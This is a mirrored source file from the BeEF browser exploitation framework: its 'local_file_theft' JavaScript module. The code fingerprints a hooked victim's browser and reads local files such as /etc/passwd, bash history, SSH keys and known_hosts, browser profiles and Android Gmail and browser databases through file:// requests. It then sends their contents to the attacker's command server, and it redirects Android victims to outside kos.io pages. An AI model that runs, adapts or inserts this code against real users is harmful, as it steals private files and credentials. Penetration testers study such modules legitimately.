Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/local_file_theft/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
// local_file_theft
8
//
9
// Shamelessly plagurised from kos.io/xsspwn
10
11
beef.execute(function() {
12
13
result = '';
14
15
fileList = ['linux','mac','ios','android','windows']
16
17
18
fileList['linux']= {
19
// How do we discover users?
20
"discover" :'/etc/passwd',
21
22
// Okay, we found them, what do we pillage?
23
"post" :{
24
'bashHistory':'.bash_history',
25
'sshHosts':'.ssh/known_hosts',
26
'sshKeys':'.ssh/id_rsa.pub',
27
'firefoxProfiles':'.mozilla/firefox/profiles.ini',
28
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
29
}
30
}
31
32
fileList['mac']= {
33
// How do we discover users?
34
"discover" :'/Library/Preferences/com.apple.loginwindow.plist',
35
36
// Okay, we found them, what do we pillage?
37
"post" :{
38
'bashHistory':'.bash_history',
39
'sshHosts':'.ssh/known_hosts',
40
'sshKeys':'.ssh/id_rsa.pub',
41
'firefoxProfiles':'.mozilla/firefox/profiles.ini',
42
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
43
}
44
}
45
46
fileList['android']= {
47
// Instead of how, just figure out the currently in use appi
48
"discover" :'/proc/self/status',
49
50
// Okay, we found them, what do we pillage?
51
"post" :{
52
'browser_data':'/data/data/com.android.browser/databases/webview.db',
53
'browser_data2':'/data/data/com.android.browser/databases/browser.db',
54
'gmail_accounts':'/data/data/com.google.android.gm/shared_prefs/Gmail.xml',
55
'dolpin_data':'/data/data/mobi.mgeek.TunnyBrowser/databases/webview.db',
56
'dolpin_data2':'/data/data/mobi.mgeek.TunnyBrowser/databases/browser.db',
57
'chromeBookmarks':'.config/chromium/Default/Bookmarks'
58
}
59
}
60
61
fileList['ios']= {
62
// WHAT IS THIS I DON'T EVEN
63
"discover" :'',
64
65
"post" :{
66
'iPadEtcHosts':'/etc/hosts'
67
}
68
}
69
70
fileList['windows']= {
71
// Meh, who cares
72
"discover" :'',
73
74
"post" :{
75
'bootini':'/c:/boot.ini',
76
'hosts':'/c:/WINDOWS/system32/drivers/etc/hosts'
77
}
78
}
79
80
fileList['custom']= {
81
// user defined
82
"discover" :'',
83
84
"post" :{
85
'result':'<%== @target_file %>',
86
}
87
}
88
89
90
functionList = {
91
mac:{
92
// OS X disovery
93
discover : function(){
94
tmp = new XMLHttpRequest()
95
tmp.open('get',"file:///"+fileList['mac']['discover'])
96
tmp.send()
97
tmp.onreadystatechange=function(){
98
if(tmp.readyState==4){
99
// TODO
100
// Understand plist format to _reliably_ pull out username with regex
101
//user = tmp.responseText.match(/\x03\x57(.*)\x12/)[1];
102
user = tmp.responseText.match(/\x54(.*)\x12\x01/)[1];
103
homedir = "/Users/"+user+"/";
104
grabFiles(homedir,"mac")
105
}
106
}
107
return true;
108
}
109
},
110
111
linux:{
112
// Linux username discovery
113
discover : function(){
114
tmp = new XMLHttpRequest()
115
tmp.open('get',"file:///"+fileList['linux']['discover'])
116
tmp.send()
117
tmp.onreadystatechange=function(){
118
if(tmp.readyState==4){
119
userDir = tmp.responseText.match(/[a-z0-9]*:x:[0-9]{4}:[0-9]{4}:[^:]*:([^:]*)/)[1];
120
homedir = userDir+"/";
121
122
grabFiles(homedir,"linux")
123
}
124
}
125
return true;
126
}
127
},
128
129
130
ios:{
131
// Grab ipad stuff
132
discover : function(){
133
tmp = new XMLHttpRequest()
134
tmp.open('get',fileList['ios']['discover'])
135
tmp.send()
136
tmp.onreadystatechange=function(){
137
if(tmp.readyState==4){
138
homedir = "file:///";
139
grabFiles(homedir,"ios")
140
}
141
}
142
return true;
143
}
144
},
145
146
custom:{
147
// Grab custom stuff
148
discover : function(){
149
tmp = new XMLHttpRequest()
150
tmp.open('get',fileList['custom']['discover'])
151
tmp.send()
152
tmp.onreadystatechange=function(){
153
if(tmp.readyState==4){
154
homedir = "file:///";
155
grabFiles(homedir,"custom")
156
}
157
}
158
return true;
159
}
160
},
161
android:{
162
// figure out what app (gmail, browser, or dolphin?) android
163
discover : function(){
164
//document.location="http://kos.io/"
165
tmp = new XMLHttpRequest()
166
tmp.open('get',fileList['android']['discover'])
167
tmp.send()
168
tmp.onreadystatechange=function(){
169
if(tmp.readyState==4){
170
if(/.*android\.gm.*/.test(tmp.responseText)){
171
document.location="http://kos.io/gmail"
172
} else if(/.*android\.browser.*/.test(tmp.responseText)){
173
document.location="http://kos.io/browser"
174
} else if(/.*ek\.TunnyBrowser.*/.test(tmp.responseText)){
175
document.location="http://kos.io/dolphin"
176
}
177
178
grabFiles("/","android")
179
}
180
}
181
return true;
182
}
183
}
184
185
186
}
187
188
189
function identify(){
190
191
// custom file is specified
192
if ('<%== @target_file %>' != 'autodetect') {
193
return "custom"
194
195
// determine a good file to steal based on platform
196
} else {
197
if(/.*Android.*/.test(navigator.userAgent)){
198
return "android"
199
} else if(/Linux.*/i.test(navigator.platform)){
200
return "linux"
201
} else if(/iP.*/i.test(navigator.platform)){
202
return "ios"
203
} else if(/.*Mac.*/i.test(navigator.userAgent)){
204
return "mac"
205
} else if(/.*Windows.*/i.test(navigator.userAgent)){
206
return "windows"
207
} else if(/.*hpwOS.*/i.test(navigator.platform)){
208
return "webos"
209
}
210
}
211
}
212
213
214
function discoverUsers(os){
215
return functionList[os]['discover']()
216
}
217
218
219
function grabFiles(dir,os){
220
tmpfile = {}
221
for (i in fileList[os]['post']){
222
beef.debug('dir = ' + dir);
223
beef.debug('fileList: ' + fileList[os]['post'][i]);
224
beef.debug(i);
225
tmpfile[i] = new XMLHttpRequest()
226
tmpfile[i].open ('get',dir+"/"+fileList[os]['post'][i]);
227
tmpfile[i].send();
228
229
tmpfile[i].onreadystatechange=function(){
230
for (j in fileList[os]['post']){
231
if(tmpfile[j].readyState==4){
232
beef.debug('new returned for: ' + j);
233
result = j +": "+ tmpfile[j].responseText;
234
235
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result);
236
}
237
}
238
}
239
240
241
}
242
243
}
244
245
246
discoverUsers(identify());
247
248
249
250
});
251
252